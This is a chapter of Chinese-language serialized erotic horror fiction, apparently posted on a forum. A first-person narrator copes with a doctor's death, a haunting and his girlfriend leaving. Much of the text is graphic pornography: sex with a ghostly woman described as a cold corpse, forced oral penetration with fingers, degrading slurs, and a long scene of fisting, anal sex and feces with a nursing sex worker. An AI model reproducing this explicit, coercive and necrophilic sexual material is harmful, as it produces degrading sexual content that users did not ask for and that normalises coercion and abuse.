陈阿姨又仔细看看月历,说:“最早能塞十七号。”

我说:“不行我一天都等不了了!就今儿了!”

陈阿姨都快哭了,说:“今天实在都排满了。咱明儿成么?明儿我一准儿给你加塞儿加进去。我这儿说话还是管用的。”

我说:“成。您还没告诉我,我这啥玩意儿?您上尸体解剖的时候碰见了啥事儿?”

陈阿姨说:“有些事儿我不能想、不能说。真的。我上月突发脑溢血,差点儿弯回去。现在我不能激动,不能受刺激。这样吧,等你手术完了之后,阿姨全都告诉你,好么?”

我说:“好吧。”

既然话都说这份儿上了,我还能咋着?

我开车到了公司。公司没有异常,就是小骚货锤过来一电话,说今晚不回来睡了。

我说好,又问了她今天的拍片情况。她说正在上妆,摄影师昨天睡晚了,还没来。

我说注意卫生,就挂了电话。

处理完公司的业务,我回到公寓小区,想来想去,还是没进地下车库,而是把车停地上了。

就算雪再大车再脏,我洗车我认了。我不想再进地下车库。我再也不想面对内帮黑棉猴儿,起码不想再单独面对。

下了车,找我们小区装修队,谈好价钱,调水和好腻子,带俩师傅回我公寓。

天花板上的十字裂缝还在。他们登着桌子椅子把裂缝糊平。我站桌子旁边点根儿烟,给帮忙扶着椅子。

我注意到,俩师傅一边儿干活儿,一边儿腿哆嗦。哆嗦得越来越厉害,不是普通的登高腿颤。

大家都没说话。

活儿干完,俩师傅急惶惶走了,说让我跟他们头儿结账。

但我心里明白,他们也嗅出了我这儿不详的气息。

第二天去医院。外科切除了我肚子上那“狗卵”。

主刀的是一三十多岁男大夫,据说是陈阿姨的学生。手术进行了一个小时。

我想着陈阿姨说的“有些事儿我不能想、不能说。真的。我上月突发脑溢血,差点儿弯回去。现在我不能激动,不能受刺激。这样吧,等你手术完了之后,阿姨全都告诉你,好么?”

我走出手术室,打陈阿姨电话。电话一直没人接听。我走到陈阿姨的办公室,远远地就看到十多个白大褂在忙碌着。

我没放心上,继续走。走、走、走,看到人们从陈阿姨办公室抬出一付担架,上面躺着一个女人,正是我的陈阿姨。

我询问周围的相关人士,被告知:陈阿姨突发脑溢血,被报告死于办公室内。

我后背麻死!

噩灵跟我摽上了,正在摧毁我接触到的每一个人。

我目送担架被推走,赶紧给妈妈那儿拨电话。

电话通了。二拐接的,上来就说他的处女油焖黄鳝成功,我妈特爱吃。

我打断他,着急地问我妈那边儿是不是一切都好。

二拐说:“挺好,大哥放心。”

我问:“有没有什么不对劲儿的?”

二拐想了半天,回答说:“没。”

我说:“让我妈接电话。”

他说:“老太太在睡觉。需要我叫醒她么?”

我说:“那算了,甭叫了。让你费心了。”

说完就挂了电话。

这时光当一下!麻药劲儿过去了,刀口开始钻心的疼!

下班回公寓,进了门,忽然闻到一股幽幽异香。发现一女人悄然无声躺在我床上的被窝里。

我看她脸。熟啊。谁来着?

圆圆的脸,短发,鼻子不太高,鼻头有点儿肉乎乎的。她睁开眼睛。

想起来了!是黑庄屯那房东媳妇!

此时我有点儿破罐破摔,已不顾人鬼殊途。反正已经找上门来,反正我肏过她了。肏一次是犯禁,再多肏一次也不会饶过我。

那我干吗放着河水不洗船呀?

我掀开被子,闻到她身上特有的暗暗臊香。那臊香跟妈妈的麝香和小骚货的臭香都不一样,非常非常不一样。

我打开台灯,想好好看看她。

她伸出手臂,再次闭了灯。我知道阴间来客都怕光,所以不跟她较劲,不让开灯就不开呗。反正灯光亮不亮底盘都一样。

我钻进被窝。臊香更浓了。

她这回光溜溜的,一丝不挂,浑身冰凉。我大把搂抱她,揉搓她肉屁股。她轻轻亲我脸。嘴唇软软的,半湿润,特凉。

我说:“我知道你家出事儿了。”

听了这个,她不再亲我,把头埋进我臂弯胸口,不说话。当时抱着她内感觉就跟抱一女尸一模一样,只不过没有福尔马林的气味。

冷冷的臊香不断从她身上、胯下散发出来。

这提醒我:她是活的。我把手直接探到她两条大腿交合处,摸到她的光屄。

她用逐渐增强的鼻腔呻吟声告诉我她的兴奋程度。

她的阴屄湿乎乎的。

我轻拢慢捻抹复挑,针对她阴蒂百般蹂躏。我要抓紧一切机会发淫。不管是谁,只要上了我的床,就都是骚货。

房东媳妇咬着嘴唇,在静默中哆嗦着高潮。

奇怪的女人。极端传统、保守,坚决不发出声音,就好像现在她老公还躺在她身子那边似的。

此刻她的酸屄像被浸泡的杏脯,已经湿得不象话。

粘滑的分泌物沾我满手。有一种黑木耳,浸泡一宿之后,纵剖切开,会从双层之中流出好多透明粘液,滑溜溜的。

我把手指插进她的馊屄,咕叽咕叽凶狠搅动。

屄里精湿,冰凉冰凉的。她仰起头,紧咬牙关,十足一个熬刑女烈,死活不发出我想听的叫床。

在晨光中,我一边手淫她,一边盯着她的脸,一眼一眼地仔细看,试图记住她的样子、她脸上肌肉扭动抽搐的细节、她的嘴唇形状,储备起来,以后必要时调出来。谁知道以后还会不会再见面?

我时紧时慢鼓捣了半小时,手实在太痠了,就把手拿上来,借着蓝蓝的晨曦观看手指头上沾的是啥。

我放鼻子底下嗅一嗅。

骚得厉害。我把手指放她鼻子底下让她闻。她扭头躲开。我用强,两个手指插进她嘴里,按摩她舌面小味蕾。

她舌头冰冰凉,但挺软,表面细碎小颗粒跟杨梅似的。

我加力用手指肏她嘴巴。她的舌头围绕着我的手指微微蠕动,表面分泌粘液,像某种软体动物。

我把硬鸡巴肏进她滑溜溜的膻屄。

我什么讲究都不管了。我开始摇胯。我要解压。我要用肏屄来缓解心头郁积的紧张和恐慌。

她一动不动,像刚死的母鹿。

母鹿的身子哪儿哪儿都是软软的,随我彪悍的肏弄波动着,像随海浪起伏的遇难女尸。

大鸡巴肏一冰凉女人的感觉相当刺激。

她的大白奶子惨白惨白的,好像里头装满水,被我肏得上下左右直晃悠。

她的脖子软软的,好像根本支不住脑壳,脑袋随着我的进攻也上下左右乱晃。

恰似一个真人倒模的中年大娃娃,纤毫毕现,超逼真。晨光透过玻璃窗上的窗花儿打进来,打到她身上、脸上。

她的眼皮在忽闪,眼睛在动。这表明她有意识。这屄是活的。

我边肏边说:“上次,你的裤衩,我一直留着,特香。”

她双手遮住脸庞,只露鼻尖。

我大把抓她白奶子,说:“你母狗又发淫,想我了对不对?”

她轻轻点头,鼻孔扩张,呼吸加快。

我猛肏着吼叫:“骚屄!死了还犯贱!我要把你肏活过来!”

她张开失血的苍白嘴唇,软软的上下唇分开五毫米,但嘴角部位还软软粘连。

分开的嘴唇泄露出嘶哑的呻吟,那是良家要高潮,那是哑巴在呼唤。

我加紧猛肏,鸡巴头子感到子宫口传来热气!

我更加用力肏她。努~力~苦~干努力苦干!我要把她肏活过来留公寓里天天跟她玩儿!

鸡巴头感到宫颈口儿更热了。

整条湿屄也开始热乎起来,不像刚才那么冰凉。

蒸汽机车冒着热汽提速到极限。活塞疯了似的运转抽插。她终于叫了一声“肏姐姐!”

我如获至宝,好像流的所有汗水都值了。(男人多愚蠢啊)

我专注地盯着她,欣赏她在高潮中的动人表情,细心体会她的阴屄在高潮中怎么阵阵收缩、悸动痉挛。

有一电视广告问,“女人什么时候最美?”

内文案多流氓啊?!答案如奶子上的奶头,明摆着的。

我扑倒,双手粗野地捧着她的脑袋,手指插进她的头发。她发根里居然分泌出热汗!她的整个身体也暖和过来。

我已经可以放开精关了。

我舔着她温热的脸蛋,舔着她红热的耳朵,舔着她白白的脖子,鸡巴悸动痉挛、精索猛烈收缩。

射了。

我记得我滋滋猛射。我记得我听见自己精液射出时发出的细微的吱吱声响。

我记得她的手揉着我的蛋,她的手软软的,已不再冰凉……

我整个身心漂浮起来,遨游在太虚幻境。太舒服了。

我记得她在我耳边轻声说:“你女朋友她爸刚到我们那儿报了到。”

我记得我很想坚持着支撑下去。

我记得我努力试图张开嘴说话,可我实在太累了,张不开嘴。我真的有好多问题想问她,可我闭上眼睛,像老农民似的昏昏睡去。

醒来,看到房东媳妇光着身子趴在大床上,母狗一样酣睡。

我掐掐自己的腿,疼。不是梦。看来我真的肏活了她。

我们这儿民间盛传一真事儿,说一女的生前积了阴德,略有姿色,死后入殡,第二天墓地被刨,棺材空空,原来是夜里被两个胆大的小伙子扒出来干得还了魂、活过来,死时四十岁,后来又活了四十年。

房东媳妇这次来找我,是来讨“还魂液”的?还是传那个话?

我回想起她说的话:“你女朋友她爸刚到我们那儿报了到。”小骚货的爸爸去阴间报了到?

这么说他是真死了。血亲之间真能托梦。

房东媳妇真能还魂活过来的话,当然是好事儿,也算我积一阴德。

我走到床前,坐厚地毯上,在耀眼的日光里仔细打量她。

以前光知道她性情温和柔顺,手脚勤快,但没好好端详过她。她的上盘不算难看,只是岁月已经给她嘴角、眼角刻了划痕。

她让我有好感。我忍不住俯下身,轻轻亲吻她的脸蛋和嘴唇。

她被我弄醒,睁开眼睛。

我说:“醒啦?”

她警惕地看看四周,问:“这是哪儿?”

我平静说:“这是我家。”

她问:“我怎么会在你家?”

我说:“你不记得你怎么来的了?”

她说:“我想起来了,我没家了。我家败了。我太累了。我好像睡了好长时间。刚才我打呼噜了么?”

我问:“你小名叫啥?”

她说:“挺好听的。叫啥来着?我忘了。”

我问:“要是愿意的话,你从现在开始就在我这儿吧。”

她说:“好啊。我给你做饭。”

我说:“我现在必须出去办点儿事儿。”

她顺从地说:“好啊。早点儿回来。”

良家就是舒服。

原来,跟女人的关系可以这么单纯、容易?!此前我跟所有女人,包括前边历任女友,包括我妈,包括小骚货,都皱皱巴巴的。

出了公寓的门,我的心情难得晴朗,走路都轻快了。

我去公司处理业务,去我妈那儿请安,包括在路上,心始终是热乎乎的,总是想到公寓里有个被我肏活过来的良家在等着我回去。

前妻给我来电话,说有个女人给她打电话,自称徐老师。我说我现在忙,你们俩约着先玩儿吧。

我现在谁也顾不上。我只想快点儿回家。

终于回到公寓,进门、换拖鞋、反锁上门,满心以为能看到房东媳妇,但看到房间里黑漆漆的。打开灯,四处找,哪儿都没有。

房东媳妇不见了。

看来还魂尚未成功,xx尚需努力。

平安夜的傍晚。馆子吃腻了,哪儿都不想去。在大雪中买了面包、法香、牛排、鸭肝。

抱着鲜花拎着大包小包回到公寓,屋里没人。

小骚货拿来的包包和衣服不见了。我把自己扔沙发上,发现茶几上摆着我公寓的钥匙。

流浪母狗,吃了就走。终于离开了我。这骚货!

给死党打一圈电话,说请他们喝酒,偏偏都说有局了。

我自己出门,楼底下随便找一小酒馆,进去直接叫一盘花生、两个大二。

服务员以为听错了,弱问一句:“两个小二?”

我说:“大的。俩大的。”

街头处处是情侣。紧紧靠在一起的情侣。步伐惊人一致的情侣。大雪中亲吻的情侣。

小酒馆我孤身一人,嘬一口二锅头,就一颗花生米。

[此处啪啪精炼闪回]

[……她问我:“你是警察?那你是保安?我们村小伙子出来进城当保安可帅了……”][……我说:“想跟我走就麻利儿的。我路口等你。两分钟以后我走。”一分五十秒,她出来了,拎个包包……][……她说:“唔,对,小母狗动情了,发骚了。弄我!弄我吧!弄我下边……”][……她眼睛里闪着灵光,喘息着、坏笑着对我说:“我有一主意!”她向我伸出鼓鼓的拳头,慢慢张开手指。掌心有一李子……][……她问:“咱俩啥事都做了,可你不会娶我,对么?”我说:“对。我不想再娶任何人……”][……我说:“你有痔疮。我给你买了点药,这是抹的,这是栓剂。”她说:“你对我真好。知道么?以前没人这么关心过我……”][……她说:“流氓你坏死了。人家吓死了,全身都酥了……你说,我爸会不会在刚才的火车上?”][……她提高声音说:“放开我!我错了!我是婊子!我不该找猥哥!我错了……”][……她说:“嘿!你从来就不是我男朋友。你自己说的。我现在只是暂时住你这儿。你再找一个更适合你的女孩子吧……”][……她被绑在钢轨上满脸鼻涕半哭半笑说:“爸爸!给我解开爸爸……”



[……她光着身子迷迷糊糊对我呻吟:“爸爸,抱抱……”][……老K说:“我瞅她身上妖气太重。当断不断,必留后患。你自己掂量着办……”]我很快用二锅头把自己“撂倒”。迷迷蒙蒙中听见药店小伙子的声音:“大哥!大哥?”

然后我感到他在轻轻摇晃我胳膊。

我从胳膊上抬起头,发现服务员坐在我身边椅子上,看着我。我意识到我一人坐在小酒馆里,喝美了。

我忽然觉得这服务员人不错,就问:“喝么?”

他摇摇头。

我豪迈地说:“没关系,来,喝点儿。”(酒后总显得特过分豪爽。)

他温和地说:“大哥,凌晨三点了。我们要关门了。”

我付了钱,走出小酒馆。

身后小酒馆立刻关了灯。

我抬头看看。

漫天大雪!都下疯了,就跟铲雪车打楼顶往下推似的。

大雪花硬脆的冰晶撞我睫毛上,撞得我睁不眼睛。

苍穹下,我一人站那儿迎风流泪。

从来没这么强烈地意识到,原来我是这么孤单。

我这么多年一直在付出、付出,像傻屄一样对这个好、对内个好。

从第一个女朋友、第二个女朋友、第三个女朋友、第四个女朋友……到前妻、

我妈、小骚货。

从老K到所有我内帮死党,谁能陪我?

我想对自己说:“人本来就是孤单的。”

可我张不开嘴,因为脸和嘴巴肌肉都已经冻硬了。

布满阴霾的寒冷冬夜,没有任何人陪我。

一说,心如止水,便是极乐。

一说,哀之大者莫过于心死。

都叫前人说了。

无聊。

睡去。

当当当!敲门声。

看看表。早晨六点。会是谁?鬼上门?到底要不要过去开门?

我犹犹豫豫。

当当!又是敲门声。

正好三长两短。

靠!受不了了!管丫是谁!必须了断!

我横下一条心,走过去,贴猫眼一瞅,门外走廊站一女的,脸生。

我惊魂未定,很想字正腔圆厉声喝问,但声音出了口却发现颤得厉害:“谁~~~~呀~~~?”

那女的回答说:“是我。我是你邻居。你家漏水呢!”

我将信将疑,把门打开两寸,用脚死死顶住门板后边。

她急慌慌说:“我住你楼下。你家往我们家漏水!”

我仔细打量眼前这女人,我还真没见过。不过也不奇怪。现如今住公寓的,老死不相往来,谁认识谁啊?

她三十多岁,正是最灿烂的年纪,一米六六左右,穿粉色羊绒衫、小碎花棉毛裤,趿拉着红棉拖,圆脸,大眼睛,脸蛋红扑扑的,嫩得让我想扑上去狠狠咬下来一口。腮帮子一痠,舌底两边酸热口液泛滥,我知道,唾液腺体开始分泌哈拉子了。

她说:“我能进去看看么?”

我跟中了邪了似的,乖乖打开防盗门,放那素昧平生的女人进来。此时我已失去理智。理智像荡然无存。生为男人!唉!!!

这女人一进门,直奔我改造过的卫生间(怎么改的,详见本书第二集)。

她语调有点儿抱怨说:“你怎把墙打掉了?”

我说:“不是承重墙。”

她说:“你改水管了吧?”

我说:“嗯,改了。你那儿漏的厉害么?咱上你家看看?”

她说:“不用。你赶紧先把入户水闸关掉。”

我一点儿没怀疑她的身份、她的动机,听话去关入户水闸,感觉大脑轻飘飘,脚步轻飘飘。

回过身,发现那母狗已经躺到我床上,冲我敞开黏黏的屄,豆豆和屄红肿不堪,高热黏滑,像发炎了的似的。

母狗的屁股开始自己动活上了。

我的鸡巴像蒸汽发动机里被高度润滑的活塞,出出进进出出进进越来越快越来越快。

被侮辱与被损害的裂口在不断分泌蜗涎。活塞工作的湿润黏稠的声音充满房间。

收缩开始了。我射。精液呼啸着滋进女人的湿热管腔。

我睡过去。

睁开眼睛,窗外已大亮。明晃晃的阳光泼我床上。公寓里静悄悄的。

我孤身一人躺在大床上。没有任何人陪我。那女的不见了。

我公寓的门敞着。屋子里的东西一样儿没少(除了公粮),也没留下任何s

ouvenir~~

看看手表:上午十一点。

我穿好衣服,拿钳子改锥出门,锁好我的防盗门,走楼梯到楼下,敲门。

敲了半天,门才开,一股浓烈的孤寡老人内种恶臭扑鼻而来!

一老头儿探出秃脑壳,穿毛衣,戴厚厚眼镜,颤巍巍问我:“你谁?”

我没见过他。他也认识我。

我强装镇静地说:“啊~~内什么,您家漏水呢,我住您楼下。”

老头傻呵呵说:“啊?”

我说:“我进去帮您修一下。”

老头信以为真,打开防盗门。

我走进他的家,警惕地四处查看。

屋子里昏暗无比。我像误入了一个捡废品的库房。家具陈旧不堪,弄好喽是1960年款式。

木头箱子上头、圆形折叠餐桌上头、书柜里和书柜顶上,能利用起来的每一个平面都堆满旧杂志旧报纸旧书刊,处处散发着陈年老土和过期知识发酵的内种让人恶心的霉味。

就连地面上都堆满高高的书,得有他妈几万本儿,都黄不啦叽的,人能走的道儿弯弯曲曲只剩下窄窄一尺宽。

老头儿看来是一退休老编辑,orevenworse:是一郁郁寡欢的没落耄耋gaywriter?

我走进卫生间。卫生间里也堆满书,看来老丫的不洗澡,把这卫生间当一小储藏室了。

里面别说化妆品,连肥皂都没有,不会有哪个女人能生活在这里。

我抬头看,卫生间顶部一点儿没漏水痕迹。

老头跟在我身后,关心地问:“你家漏得厉害么?”

一句话提醒了我来这儿的借口。我赶紧假装查修水管,这儿敲敲、那儿紧紧、再查看地漏啥的,说:“是您家漏。我们家不漏。”

老头糊里糊涂说:“哦、哦,那就好。”

我貌似随意地问:“您孩子不跟您一块儿住啊?”

老头像对着xx宣誓一样诚恳地回答说:“我没孩子。”

我站起身,掸掸土说:“得!修好了您那。”

老头笑眯眯说:“谢谢你了。”

我说:“您别客气。”

老头说:“来,吃块糖吧。”说着递给我一块玻璃纸包裹的水果糖,玻璃纸上一层土。

我接过糖,剥开玻璃纸,强忍着把糖搁嘴里,一边往外走一边说:“您别客气。现在世道忒乱,陌生人敲门可别给开。”

老头说:“哦!好,我知道。”

我走出老头家,老头还要送我下楼。我拦住他让他留步。

老头儿说:“嗯你住我楼下是吧?”

我说:“啊对,是啊。”

老头儿含情脉脉望着我,割心裂肺回到他公寓,关上防盗门。

我走进电梯,按“1”楼,拿出纸巾,把内恶心巴拉的水果糖吐纸巾里,心里扑腾扑腾乱撞。进我公寓的到底是谁?!

鬼是不显影的。照片拍不到,录像录不上。

“叮咚!”

电梯到一楼。

我走出电梯,把内纸巾扔进垃圾桶,走出公寓大门。

我把车停路边,给老K打电话。没人接。

正在这时,一女的从旁边一按摩小门脸儿走过来,到我车门边停下,低声问我:“大哥要么?”

我看看她,眼睛、嘴唇挺好看的,二十八、九岁,风韵犹存,脸上有少许雀斑。是青春期后置?还是妊娠造成的色素沉着?

我理直气壮回答说:“白给就要!”

她居然幽幽说:“我今天白给。”

我警惕地扫视四周,确认没有潜伏的危险,于是熄灭车子,出来、锁好车,跟她走进她的王国。

她这是租的居民楼底商。小门脸儿门外的竹竿上晾晒着婴儿棉裤、毛衣什么的。

她面带羞涩,带我走进门脸儿房。里面也就八、九平米,但后边还有一门。

她穿着廉价运动鞋、黑仔裤,没戴乳罩子。乳晕清晰可见。马尾梳在脑后,淡蓝色猴皮筋儿挽住。

她脱掉外衣、黄毛衣、灯芯绒裤子和棉毛裤。我闻到一股浓厚的酸奶酪的香臭。

她的套头衫比较紧身。我注意到她胸前奶头部位各有一块巴掌大的潮湿。

我说:“鞋脱喽。”

她听话地脱了鞋,脚上只剩一双白色棉线袜。

我说:“袜子也脱喽。”

她说:“干吗呀?冷~~”

我不容置疑地说:“脱喽!”

她脱下白色棉线袜。我拿起来。热热的,有余温。湿漉漉的。放到鼻子底下闻。微臭。

我的手指头插进她的屄里,指尖探到她宫颈口。她哼哼出声。

我让她攥住她自己的脚脖子,我的手指仔细调戏她的宫颈口。她含糊不清地咕哝着问:“大兄弟你杵我哪儿呢?”

我说:“我杵你生孩子内骚眼儿呢!舔你的脚丫!”

她顺从地伸出粉红的湿舌头,开始舔她自己的光脚丫。

她的奶子滚圆溜溜,又烫又硬,散发着一股浓浓的奶骚。看来她正在哺乳期。

我问:“你小孩多大了?”

她回答说:“四个月。”

我说:“你自己喂奶?”

她问:“嗯,对……你能舔舔我么?”

我舔她脸。

她轻声说:“下边儿……”

我舔她咂儿。

她轻声说:“下边儿……”

我撕开她裤衩舔她屄,同时大把攥她大白咂儿。温热的奶水开始顺我手往下流。

她跟救护车似的嚎叫着进入高潮。高潮消退后冲我腼腆地微笑,说:“插进来吧,我喂奶,没事儿的,不讹你。”

我把硬鸡巴肏进她屄里。

肏了一会儿,从她屄里拔出来,强迫她给我口。

我说:“摸你豆豆。”

她开始听话地手淫自己的阴蒂,嘴半张,嗓子眼发出嘶嘶哮音。屄屄口往外无声地流着鼻涕似的黄黄的分泌物。

我把整只拳头塞进她滑润的屄屄,在里边野蛮抽插。她沉醉在痛苦和癫狂的边缘,嘴里呻吟变调。

她的手指在逐渐加大揉搓阴蒂的力度。我撩起她大腿,手指奸淫她屁眼儿。

我把坚硬的鸡巴像凶器一样插进她屁眼儿、肏进她直肠。她的直肠软软的、热热的,包裹着我。

我活塞了五、六十下,开始射,同时大脑和全部意识堕入黑暗真空。万籁俱

寂~~

(事后想想,后怕过。当时万一她的下岗老公打我后背摸过来拿铁锅给我一下,我就挂那儿了。)

突然,里屋传出婴儿响亮的哭声。她赶紧给我倒杯滚烫的茶水。

我问:“你男人呢?”(此时刚想起来!)

她轻声说:“没在……大兄弟你等我会儿。我就来。”

我说:“你等等!”

我出门去车上,取来两条固体黄油,塞进她肛门。她屁眼夹着黄油,不好意思地朝我笑笑,撩门帘走进里屋去。

她进去是喂奶?

小孩很快不哭了。过了十分钟左右,她从里屋出来,红着脸。

我说:“接着玩儿你豆豆!”

她认真努力地玩弄她自己的阴蒂,眼神深不可测。

我说:“摸你屁眼儿!”

她手指上下飞舞,手淫着自己的屁眼儿。她的屁眼儿比较松弛。黏糊糊的。

我插进她的直肠,感觉肏进了一个紧窄的涂满油膏的葡萄酒囊。

我的勃起被深深埋进她的温暖直肠。她上下左右转着圈儿扭着腰用屁眼儿研磨(摧残)我鸡巴。

我把她抱到卫生间,让她双脚放在洗脸池两边,对着镜子分开屄屄,让她看着我的鸡巴退出她屁眼儿。

我强迫她在镜子前观察自己达到高潮,观看自己淫荡的样子。

立刻,湿湿的深褐色稀屎夹杂着液态黄油窜出来,屎被黄油软化,有点儿软,已不成形儿。

她脸上很自豪,很着迷。

我感叹说:“看!女人拉屎多性感!”

她调戏着自己,侮辱自己的孔腔。她把手指插进自己尿道,大声呻吟着,呻吟里充满欲望,饥渴难耐,在我怀里对着镜子再次高潮,胸口急剧起伏着,脸红红的,神志不清、昏迷发狂、不省人事。

她的手指十分灵活,手淫动作相当熟练。她的手指闪闪发亮,沾满分泌出来的粘液。她的嘴唇上糊满黏液。

她深陷在狂喜的极端痛苦之中。

我亲她,注意力集中于接吻的感觉,感受她的唇的软,我在想,她这嘴唇和屄屄肉唇的质感和气味有哪些区别?……

她的咂儿已经满得不能再满,用手托一托,分量相当重,里面好像被灌了熔铅。奶头很大,乳晕的大小已经接近200g瓶装雀巢咖啡的盖子,颜色暗黑。

她在我怀里猛烈翻腾……

高潮消退之后,她问我:“大兄弟你吃了么?”

我说:“没啊。”

她说:“跟这儿凑合点儿得了,你说呢?”

我说:“成啊。”

只见她麻利地套上毛衣、秋裤、牛仔裤,穿上棉拖,出门,转眼从外头捏进两条一尺长的鱼,已经去鳞去头去尾去内脏。她拎着鱼去油锅炸。

看得出这是一个麻利的女人,生活井井有条。

外屋。

炖鱼特有的腥香。

米饭早已焖好。

外加一个素炒油菜。

我起身。

她问:“你干哈去?”

我说:“你这旁边儿有卖酒的吧?”

她掀起酒柜说:“喝啥尽管说。咱这儿都有。”

小骚货有了经济来源。

世人能做到兴趣和挣钱完全交叉的不多。我应该替她祝福。

她离开以后,我每天到妈妈那儿洗洗涮涮,端茶做饭;二拐遛狗,买菜回来,摘洗切炒煎炸清蒸凉拌烧烤煮焖涮。

鸡毛蒜皮过生活,雷同、苍白、繁琐。没有惊奇,没有悬念,没有噩灵,没有刺激。莫非平平淡淡才是生活本来的状态?

不管你怎么挣蹦,最终都要回到平平淡淡?我的后半辈子就跟妈妈这么耗下去了?

二十年后给妈妈送终,然后辞退二拐,熬到八十三、干等着“死于四月”?

一切都是命?万事都注定?

生死薄上早敲定。能否逆转金陵?

这天,我走过街头一家美容院门口,忽然觉得余光里看到的橱窗里巨幅照片上的人眼熟,退回去仔细看,是小骚骚儿。

施了粉,化了妆,涂了眼影,柔了光,但眼睛里内骚劲儿更变本加厉了。

不错。出息了。昂首挺进人肉市场了。

这天,我正在公司会议室给各部门开会,忽然助理悄悄走过来,对我耳语说,老K找我有事儿。

我出了会议室,进了自己办公室,拿起电话。

他说就在我们大厦门口,让我下去一趟,说有东西给我。

我说我这儿开会呢。

他说比较重要。

我说你放前台,我让助理拿上来。

他有点儿怒了,翻脸说:“怎么这么大谱儿啊?我这就上去把这录像带拽你丫会议室去!”

我一听,赶紧下楼,在电梯里琢磨:“录像带?啥录像带?”

见到老K的小跑车。

我走过去。

他不满地说:“就你丫忙!”

我说:“我真开会呢。”

他从窗户递给我一个牛皮纸口袋,说:“幸亏你听了我的劝、甩了她。”

我接过牛皮纸口袋,里边有一盒录像带。

我问:“什么情况?”

他说:“你内小骚货演上毛片了。我走先。”

小跑车绝尘而去。

我呆呆站阳光下。




[ 本帖最后由 EeshaKhare 于 6-1 15:20 编辑 ]